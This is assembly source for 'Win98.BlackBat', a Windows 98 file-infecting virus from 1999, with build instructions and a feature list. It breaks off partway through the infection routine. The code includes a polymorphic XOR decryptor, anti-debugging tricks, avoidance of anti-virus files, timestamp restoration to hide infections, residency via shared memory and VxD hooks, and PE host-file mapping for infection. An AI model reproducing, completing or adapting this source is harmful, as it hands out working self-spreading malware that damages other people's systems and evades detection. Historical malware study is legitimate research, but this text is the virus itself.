;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | \|/ Win98.BlackBat | | ;| | (. .) ================ | | ;| | ( | ) | | ;| | ( v ) (c) 1999, Rohitab Batra | | ;| | __| |__ <sourcecode@rohitab.com> | | ;| | // \\ ICQ: 11153794 | | ;| | // ^ | | ;| | ((====> http://www.rohitab.com | | ;| | | | ;| | Discussion Forum: http://www.rohitab.com/discuss/ | | ;| | Mailing List: http://www.rohitab.com/mlist/ | | ;| | | | ;| | | | ;| |"Blessed is he who expects nothing, for he shall not be disappointed" | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; ;Compiling (Turbo Assembler) ; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat ; ;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error ;message will be displayed, so that you don't accidently compile in release mode. ;In Release mode, the size of the Virus will be smaller, and .EXE files will be ;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found ;in the current directory, will be infected. ; ;Linking (Turbo Linker) ; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB ; ;Making Code Section Writable (EditBin from SDK, or any other utility) ; c:\>editbin /SECTION:CODE,w BlackBat.EXE ; ;***** Info About the Virus ***** ;* If WIN.SYS is found in the root directory, the virus does not infect any file, ; and does not become resident. ;* File time and attributes are restored after infection ;* Encrypted with a random key ;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT ;* Anti-Debugging Code ;* Structured Exception Handling ;* Decryption engine is Polymorphic ; ;***** TODO ***** ;1. Dont infect files with todays date ;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel) ;3. Doesn't infect files in directories with long file names .386p .model flat ,stdcall EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first ;generation copy executes without crashing .data DB ? ;Required for TASM, Else will Crash !!?? ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @MESSAGE_BOX Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Displays a MessageBox with the given Message. Note the caption of ; the MessageBox is the same as the Message ; ; Arguments ; -> szMessage: Message to be displayed ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> ALL ;___________________________ @MESSAGE_BOX MACRO szMessage IF DEBUG @DELTA esi mov eax, esi add eax, offset szMessage call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION ENDIF ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @DEFINE_API Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Defines an API that will be called by the Virus. The macro is expanded ; to the following, if APIName is MessageBoxA: ; szMessageBoxA DB "MessageBoxA", 0 ; MessageBoxA DD ? ; ; Arguments ; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by ; the DLL. e.g. MessageBoxA ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> None ; ;________________________ @DEFINE_API MACRO APIName sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API &APIName DD ? ;;Storage space for API Address ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @DELTA Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the delta offset in the specified register ; ; Arguments ; -> Register: register in which the value of the delta offset is copied ; ; Return Value: ; -> Register: Delta Offset ; ; Registers Destroyed ; -> Register ; ;____________________ @DELTA MACRO Register LOCAL GetIP call GetIP ;;This will push EIP on the stack GetIP: pop Register ;;get EIP of current instruction sub Register, offset GetIP ;;Delta Offset ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @OFFSET Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the true offset of the specified address. Unlike the offset ; keyword, which calculates the address at assembly time, this macro ; calculates the address at run-time. This is used to get the correct ; offset when the virus has been relocated. Instead of using instructions ; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename" ; ; Arguments ; -> Register: register in which the offset is to be returned ; -> Expression: expression whose offset is required ; ; Return Value: ; -> Register: Correct offset of Expression ; ; Registers Destroyed ; -> Register ; ;_________________________________ @OFFSET MACRO Register, Expression LOCAL GetIP call GetIP ;;This will push EIP on the stack GetIP: pop Register ;;get EIP of current instruction add Register, offset Expression - offset GetIP ;;True offset ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @GET_API_ADDRESS Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Gets the address of the API, and stores it ; ; Arguments ; -> APIName: API whose address is required ; -> ESI: Delta Offset ; -> EBX: Address of GetProcAddress(...) ; -> ECX: Base address of DLL which exports the API ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All Except ESI, EBX and ECX ; ;_____________________________ @GET_API_ADDRESS MACRO APIName push ebx ;;Save Addr of GetProcAddress(...) push ecx ;;Save Image Base mov eax, esi add eax, offset sz&APIName ;;API whose address is required call ebx, ecx, eax ;;GetProcAddress(...) pop ecx ;;Restore Image Base pop ebx ;;Restore Addr of GetProcAddress(...) mov [esi + APIName], eax ;;Save API Address ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> @TRY_BEGIN: This macro is used to install the exception handler. The ; code that follows this is the one that is checked for ; exceptions ; @TRY_EXCEPT: The code that follows this is executed if an exception ; occurs. ; @TRY_END: This is used to mark the end of the TRY block ; ; Example ; @TRY_BEGIN ZeroMemory ; <CODE1: Code to check for exceptions goes here> ; @TRY_CATCH ZeroMemory ; <CODE2: Gets executed if an exception occurs in CODE1> ; @TRY_END ZeroMemory ; ; Arguments ; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the ; program ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> If an exception occurs, all registers are restored to the state before ; the @TRY_BEGIN block, otherwise, no registers are modified ;_______________________ @TRY_BEGIN MACRO Handler pushad ;;Save Current State @OFFSET esi, Handler ;;Address of New Exception Handler push esi push dword ptr fs:[0] ;;Save Old Exception Handler mov dword ptr fs:[0], esp ;;Install New Handler ENDM @TRY_EXCEPT MACRO Handler jmp NoException&Handler ;;No Exception Occured, so jump over Handler: mov esp, [esp + 8] ;;Exception Occured, Get old ESP pop dword ptr fs:[0] ;;Restore Old Exception Handler add esp, 4 ;;ESP value before SEH was set popad ;;Restore Old State ENDM @TRY_END MACRO Handler jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT NoException&Handler: ;;No Exception Occured pop dword ptr fs:[0] ;;Restore Old Exception Handler add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ... ;;...4 for push offset Handler. (No Restore State) ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @CALL_INT21h Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Makes an INT 21h Call in Protected Mode ; ; Arguments ; -> Service: INT 21h Service Number ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> Depends on Service called ;_________________________ @CALL_INT21h MACRO Service mov eax, Service ;;INT 21h Service @DELTA esi call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Constants | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ;Win32 Constants PAGE_READWRITE EQU 00000004h IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable IMAGE_FILE_DLL EQU 2000h ;File is a DLL FILE_MAP_ALL_ACCESS EQU 000F001Fh IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes NULL EQU 0 TRUE EQU 1 FALSE EQU 0 ;File Access GENERIC_READ EQU 80000000h ;Access Mode Read Only GENERIC_WRITE EQU 40000000h ;Access Mode Write Only FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read INVALID_HANDLE_VALUE EQU -1 ERROR_ALREADY_EXISTS EQU 000000B7h FILE_ATTRIBUTE_NORMAL EQU 00000080h OPEN_EXISTING EQU 3 ;Fail if not found ;Shutdown Options EWX_FORCE EQU 4 EWX_SHUTDOWN EQU 1 ;MessageBox MB_OK EQU 00000000h MB_YESNO EQU 00000004h MB_ICONINFORMATION EQU 00000040h ;Virus_Constants @BREAK EQU int 3 ;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975 RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident ;VxD Stuff VWIN32_Int21Dispatch EQU 002A0010h LFN_OPEN_FILE_EXTENDED EQU 716Ch PC_WRITEABLE EQU 00020000h PC_USER EQU 00040000h PR_SHARED EQU 80060000h PC_PRESENT EQU 80000000h PC_FIXED EQU 00000008h PD_ZEROINIT EQU 00000001h SHARED_MEMORY EQU 80000000h ;Anything above this is shared PageReserve EQU 00010000h PageCommit EQU 00010001h PAGE_SIZE EQU 4096 ;Size of a Page in Win9x ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Structures | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ FILETIME STRUC FT_dwLowDateTime DD ? FT_dwHighDateTime DD ? FILETIME ENDS IMAGE_DOS_HEADER STRUC ;DOS .EXE header IDH_e_magic DW ? ;Magic number IDH_e_cblp DW ? ;Bytes on last page of file IDH_e_cp DW ? ;Pages in file IDH_e_crlc DW ? ;Relocations IDH_e_cparhdr DW ? ;Size of header in paragraphs IDH_e_minalloc DW ? ;Minimum extra paragraphs needed IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed IDH_e_ss DW ? ;Initial (relative) SS value IDH_e_sp DW ? ;Initial SP value IDH_e_csum DW ? ;Checksum IDH_e_ip DW ? ;Initial IP value IDH_e_cs DW ? ;Initial (relative) CS value IDH_e_lfarlc DW ? ;File address of relocation table IDH_e_ovno DW ? ;Overlay number IDH_e_res DW 4 DUP (?) ;Reserved words IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo) IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific IDH_e_res2 DW 10 DUP (?) ;Reserved words IDH_e_lfanew DD ? ;File address of new exe header IMAGE_DOS_HEADER ENDS IMAGE_FILE_HEADER STRUC IFH_Machine DW ? ;System that the binary is intended to run on IFH_NumberOfSections DW ? ;Number of sections that follow headers IFH_TimeDateStamp DD ? ;Time/Date the file was created on IFH_PointerToSymbolTable DD ? ;Used for debugging information IFH_NumberOfSymbols DD ? ;Used for debugging information IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER) IFH_Characteristics DW ? ;Flags used mostly for libraries IMAGE_FILE_HEADER ENDS IMAGE_DATA_DIRECTORY STRUC IDD_VirtualAddress DD ? IDD_Size DD ? IMAGE_DATA_DIRECTORY ENDS IMAGE_OPTIONAL_HEADER STRUC ;Standard Fields IOH_Magic DW ? ;Mostly 0x010B IOH_MajorLinkerVersion DB ? ;Version of the linker used IOH_MinorLinkerVersion DB ? ;Version of the linker used IOH_SizeOfCode DD ? ;Size of executable code IOH_SizeOfInitializedData DD ? ;Size of Data Segment IOH_SizeOfUninitializedData DD ? ;Size of bss Segment IOH_AddressOfEntryPoint DD ? ;RVA of code entry point IOH_BaseOfCode DD ? ;Offset to executable code IOH_BaseOfData DD ? ;Offset to initialized data ;NT Additional Fields IOH_ImageBase DD ? ;Preferred load address IOH_SectionAlignment DD ? ;Alignment of Sections in RAM IOH_FileAlignment DD ? ;Alignment of Sections in File IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image IOH_MajorImageVersion DW ? ;User specified version number IOH_MinorImageVersion DW ? ;User specified version number IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version IOH_Win32VersionValue DD ? ;Mostly set to 0 IOH_SizeOfImage DD ? ;Amount of memory the image will need IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers) IOH_Subsystem DW ? ;Subsystem required to run this image IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack IOH_SizeOfStackCommit DD ? ;Size of initially commited stack IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap IOH_LoaderFlags DD ? ;Not generally used IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?) IMAGE_OPTIONAL_HEADER ENDS IMAGE_EXPORT_DIRECTORY STRUC IED_Characteristics DD ? ;Currently set to 0 IED_TimeDateStamp DD ? ;Time/Date the export data was created IED_MajorVersion DW ? ;User settable IED_MinorVersion DW ? IED_Name DD ? ;RVA of DLL ASCIIZ name IED_Base DD ? ;First valid exported ordinal IED_NumberOfFunctions DD ? ;Number of entries IED_NumberOfNames DD ? ;Number of entries exported by name IED_AddressOfFunctions DD ? ;RVA of export address table IED_AddressOfNames DD ? ;RVA of export name table pointers IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry IMAGE_EXPORT_DIRECTORY ENDS IMAGE_SECTION_HEADER STRUC ISH_Name DB 8 DUP (?) ;NULL padded ASCII string UNION ISH_PhysicalAddress DD ? ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded ENDS ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment ISH_PointerToRawData DD ? ;Offset from files beginning to sections data ISH_PointerToRelocations DD ? ISH_PointerToLinenumbers DD ? ISH_NumberOfRelocations DW ? ISH_NumberOfLinenumbers DW ? ISH_Characteristics DD ? ;Flags to decide how section should be treated IMAGE_SECTION_HEADER ENDS SYSTEMTIME STRUC ST_wYear DW ? ST_wMonth DW ? ST_wDayOfWeek DW ? ST_wDay DW ? ST_wHour DW ? ST_wMinute DW ? ST_wSecond DW ? ST_wMilliseconds DW ? SYSTEMTIME ENDS ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Virus Entry Point | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ .code ;Decryptor StartOfVirusCode: call GetDelta GetDelta: DB 5Eh ;pop esi DB 83h ;add esi, EncryptedVirusCode - GetDelta DB 0C6h DB offset EncryptedVirusCode - offset GetDelta DB 0B9h ;mov ecx, ENCRYPTED_SIZE DD ENCRYPTED_SIZE DecryptByte: DB 80h ;xor byte ptr [esi], 00h DB 36h EncryptionKey: DB 00h DB 46h ;inc esi DB 49h ;dec ecx jnz DecryptByte EncryptedVirusCode: ;Code from this point is encrypted jmp WinMain ;Goto Main Program ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Data Area | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL dwUserBase DD ? ;Base address of USER32.DLL szUser32DLL DB "USER32", 0 ;.DLL Extention is not required ;Host File Variables hHostFile DD ? ;Handle of host file hMappedFile DD ? ;Handle of mapped host file lpHostFile DD ? ;Pointer to mapped host file in memory ftLastAccessTime FILETIME ? ;Time the file was last accessed ftLastWriteTime FILETIME ? ;Time the file was last written to dwFileAttributes DD ? ;File attributes of host file ;Virus Variables szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected ;VxD Stuff OldInt30 DB 6 DUP (0) VxDCall_Busy DB ? ;Semaphore szOutputFile DB "C:\VIRUS.TXT", 0 ;KERNEL32 API's VxDCall DD ? ;Exported by ordinal only (Ord 1) @DEFINE_API GetProcAddress @DEFINE_API CloseHandle @DEFINE_API CreateFileA @DEFINE_API CreateFileMappingA @DEFINE_API GetFileAttributesA @DEFINE_API GetFileSize @DEFINE_API GetFileTime @DEFINE_API GetLocalTime @DEFINE_API GetTickCount @DEFINE_API LoadLibraryA @DEFINE_API MapViewOfFile @DEFINE_API SetFileAttributesA @DEFINE_API SetFileTime @DEFINE_API UnmapViewOfFile ;USER32 API's @DEFINE_API ExitWindowsEx IF DEBUG @DEFINE_API MessageBoxA ENDIF ;DEBUG Only Stuff IF DEBUG szHostFileName DB "NOTEPAD.EXE",0 szWinMainHandler DB "Unhandled Exception in WinMain", 0 szPayLoad DB "Happy BirthDay :-)", 0 szInfected DB "This File is Infected by the BlackBat Virus", 0 ENDIF ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | WinMain | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ WinMain PROC IFE DEBUG ;Only for Release Versions cli not esp ;Anti-Debug Code ... not esp ;...will crash if single-stepped sti ENDIF @TRY_BEGIN WinMain_Handler ;Putting code in protected block call IsVirusActive test eax, eax ;Virus Resident ? jne End_WinMain ;Yes, return to host ;Get Addresses of all Required API's call GetAPIAddresses ;Get the addresses of the other API's test eax, eax ;Error occured ? jz End_WinMain ;Transfer control to host IF DEBUG @MESSAGE_BOX szInfected @OFFSET ebx, szHostFileName call InfectFile, ebx ENDIF ;Check if this Machine is to be Infected call CanMachineBeInfected ;Is this my machine test eax, eax jz End_WinMain ;Yes, so don't infect ;Relocate Virus (Make Resident) call RelocateVirus or eax, eax ;Virus Relocated? je End_WinMain ;No ;Jump to Relocated Virus Copy @OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy add eax, offset RelocatedVirus - offset StartOfVirusCode jmp eax ;Control will go to Relocated Copy ;This part is the Relocated Copy of the Virus in Shared Memory RelocatedVirus: ;When a file is infected, the CALL instruction at label ReturnToHost is ;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated, ;this JMP instruction will point to some invalid location. We need to modify ;this, so that the JMP points to the host program (which was not relocated) ;The offset of Calculate_Offset_Instruction in the non-relocated virus was ;saved in EBX before jumping here. Now we calculate the offset in the relocated ;virus (this copy). @DELTA eax mov esi, eax ;Save Delta Offset add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy sub eax, ebx ;Difference in offsets ;We now subtract this difference from the offset specified in the JMP ;instruction, and update the JMP instruction to point to the correct location ;in memory add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction sub [esi], eax ;Fix JMP instruction call InstallHookProcedure End_WinMain: @TRY_EXCEPT WinMain_Handler @MESSAGE_BOX szWinMainHandler @TRY_END WinMain_Handler ReturnToHost: DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control ;to the host. The address of this JMP ;instruction is calculated at run-time ;ret ;Not required, since control is transfered to host WinMain ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | GetAPIAddresses | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Finds the Address of the API's to be used by the virus ; ; Arguments ; -> None ; ; Return Value: ; -> EAX: 1, if the API addresses were found, 0 otherwise ; ; Registers Destroyed ; -> All ;___________________ GetAPIAddresses PROC call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress test eax, eax ;Found Address ? jz End_GetAPIAddresses ;No, Return 0 ;Get addresses of all required KERNEL32 API's ;ESI = Delta Offset ;EBX = Address of GetProcAddress(...) ;ECX = Image Base of KERNEL32.DLL @DELTA esi mov ebx, eax ;Address of GetProcAddress(...) mov ecx, dwKernelBase ;Base address of KERNEL32.DLL @GET_API_ADDRESS CloseHandle @GET_API_ADDRESS CreateFileA @GET_API_ADDRESS CreateFileMappingA @GET_API_ADDRESS GetFileAttributesA @GET_API_ADDRESS GetFileSize @GET_API_ADDRESS GetFileTime @GET_API_ADDRESS GetLocalTime @GET_API_ADDRESS GetTickCount @GET_API_ADDRESS LoadLibraryA @GET_API_ADDRESS MapViewOfFile @GET_API_ADDRESS SetFileAttributesA @GET_API_ADDRESS SetFileTime @GET_API_ADDRESS UnmapViewOfFile ;Load USER32.DLL push ebx ;Save address of GetProcAddress(...) mov eax, esi ;Delta Offset add eax, offset szUser32DLL ;Name of DLL to be loaded call esi + LoadLibraryA, eax mov ecx, eax ;Base address of USER32.DLL pop ebx ;Restore address of GetProcAddress(...) ;Get addresses of all required USER32 API's ;ESI = Delta Offset ;EBX = Address of GetProcAddress(...) ;ECX = Image Base of USER32.DLL @GET_API_ADDRESS ExitWindowsEx IF DEBUG @GET_API_ADDRESS MessageBoxA ENDIF End_GetAPIAddresses: ret GetAPIAddresses ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | GetAddressOfKernelAPI | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The ; VxDCall API is exported by ordinal only, and the GetProcAddress is ; exported by name. ; ; Arguments ; -> EDX: offset of the program <---- NOT USED ANYMORE ??? ; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address ; of GetProcAddress is returned. ; ; Return Value: ; -> EAX: Address of the Required API if Found, Else NULL ; ; Registers Destroyed ; -> All ;______________________________ GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD LOCAL lpdwAddressOfFunctions:DWORD, \ lpdwAddressOfNames:DWORD, \ lpwAddressOfNameOrdinals: WORD, \ dwVAIED:DWORD ;Get File Headers call GetFileHeaders, dwKernelBase test eax, eax ;Successfully Retreived Headers? je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000 mov [dwVAIED], edx mov esi, dwKernelBase ;Get Address of Functions mov ecx, [dwVAIED] mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions add eax, esi ;VA of Address of functions mov dword ptr [lpdwAddressOfFunctions], eax ;Check which API is Required cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ? jne GetProcAddressRequired ;GetProcAddress ;Get Address of VxDCall API (Ordinal 1) xor eax, eax inc eax ;Ordinal Reqd = 1 sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array jmp GetAddressFromIndex GetProcAddressRequired: ;Get Address of Names mov ecx, [dwVAIED] mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames add eax, esi ;VA of Address of Names mov dword ptr [lpdwAddressOfNames], eax ;Get Address of Name ordinals mov ecx, [dwVAIED] mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals add eax, esi ;VA of Add of Name Ordinals mov dword ptr [lpwAddressOfNameOrdinals], eax ;Find the API index in the AddressOfNames array push esi ;Save the base address of KERNEL32 mov eax, esi ;Also save in EAX xor ebx, ebx dec ebx ;Initialize Index to -1 mov edx, dword ptr [lpdwAddressOfNames] @OFFSET esi, szGetProcAddress ;API to be found mov ecx, esi ;Save address in ECX CheckNextAPI: inc ebx ;increment index mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index add edi, eax ;get the VA from the RVA mov esi, ecx ;get address stored previously CheckNextByte: cmpsb ;Check Byte jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One cmp byte ptr [edi], 0 ;Have we reached the end-of-string je FoundAPI ;Yes? We've found the API jmp CheckNextByte ;No, Check the next byte FoundAPI: ;EBX contains the index of the function into the array pop esi ;Get the base address of KERNEL32 ;Compute the Index mov ecx, ebx mov edx, dword ptr [lpwAddressOfNameOrdinals] movzx eax, word ptr [edx + ecx*2] ;Index ;Get the Address (EAX = Index, ESI = Kernel32 Base) GetAddressFromIndex: mov ebx, [lpdwAddressOfFunctions] mov eax, dword ptr [ebx + eax*4] ;RVA of the API add eax, esi ;VA of the API End_GetAddressOfKernelAPI: ret GetAddressOfKernelAPI ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | OpenAndMapFile | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Opens a file from disk, and maps it into memory. The function also ; saves the file modified time and file attributes before opening the ; file. These are later restored by UnmapAndCloseFile ; ; Arguments ; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped ; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size ; ; Return Value: ; -> EAX: Starting address of memory where the file has been mapped, or 0 ; if an error occured ; -> ECX: Original File Size ; ; Registers Destroyed ; -> All ;_______________________________________________________________ OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD @DELTA esi ;Save File Attributes, and Clear all attributes call esi + GetFileAttributesA, oamf_szFileName mov [esi + dwFileAttributes], eax ;Save File Attributes call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL test eax, eax ;File Attributes Set ? je End_OpenAndMapFile ;No, Return 0 ;Open the file in R/W mode call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \ FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL cmp eax, INVALID_HANDLE_VALUE ;File Opened ? je Error_OpenAndMapFile_Create ;No mov [esi + hHostFile], eax ;Yes, Save handle of host file ;Get and Store File Time lea ebx, [esi + ftLastAccessTime] lea ecx, [esi + ftLastWriteTime] call esi + GetFileTime, eax, NULL, ebx, ecx ;Compute the new file size call esi + GetFileSize, [esi + hHostFile], NULL add eax, [oamf_dwAddBytes] ;Compute New File Size ;Map the file call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \ 0, eax, NULL test eax, eax ;File Mapping Created jz Error_OpenAndMapFile_Mapping ;No mov [esi + hMappedFile], eax ;Yes, Save Handle ;Map View of the File call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0 mov [esi + lpHostFile], eax ;Have to save Mapped Address test eax, eax ;File Mapped Successfully ? jnz End_OpenAndMapFile ;Yes ;Error Occured, Close Files, and Restore Attributes call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping Error_OpenAndMapFile_Mapping: call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File Error_OpenAndMapFile_Create: call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes] xor eax, eax ;Error, Return 0 End_OpenAndMapFile: ret OpenAndMapFile ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | UnmapAndCloseFile | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Unmaps the open file and closes the handles associated with it. It ; also restores the original file attributes and file time. ; ; Arguments ; -> uacf_szFilename: Name of the file that is being unmapped. This is ; used only to restore the file attributes ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All ;_____________________ UnmapAndCloseFile PROC uacf_szFilename:DWORD ;Unmap File @DELTA esi call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping ;Restore File Time lea eax, [esi + ftLastAccessTime] lea ebx, [esi + ftLastWriteTime] call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx ;Close File call esi + CloseHandle, [esi + hHostFile] ;Close the File ;Restore File Attributes call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes] ret UnmapAndCloseFile ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | InfectFile | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Infects the host file with our virus ; ; Arguments ; -> DWORD if_szFileName: Address of the file to be infected ; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes) ; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes) ; ; Return Value: ; -> EAX: 1 if Infected, 0 on Error ; ; Registers Destroyed ; -> All ;__________________________________ InfectFile PROC if_szFileName:DWORD LOCAL lpdwLastSection:DWORD, \ dwVirusBegin:DWORD, \ dwNewEntryRVA:DWORD, \ dwJumpBytes:DWORD, \ dwIOH:DWORD, \ dwIncFileSize:DWORD, \ dwIncSecSize:DWORD, \ dwDeltaOffset:DWORD @DELTA esi mov [dwDeltaOffset], esi ;Save Delta Offset ;Check if the file can be infected, or not call CanFileBeInfected, if_szFileName test eax, eax ;Can it be infected jz End_InfectFile ;No mov [dwIncFileSize], ebx ;Save Increase in File Size mov [dwIncSecSize], ecx ;Save Increase in Section Size ;Map Host File into Memory call OpenAndMapFile, if_szFileName, dwIncFileSize test eax, eax ;File Opened and Mapped Successfully jz End_InfectFile ;No, Return Code = 0 mov esi, [dwDeltaOffset] mov [esi + lpHostFile], eax ;Save staring address of file ;Get File Headers call 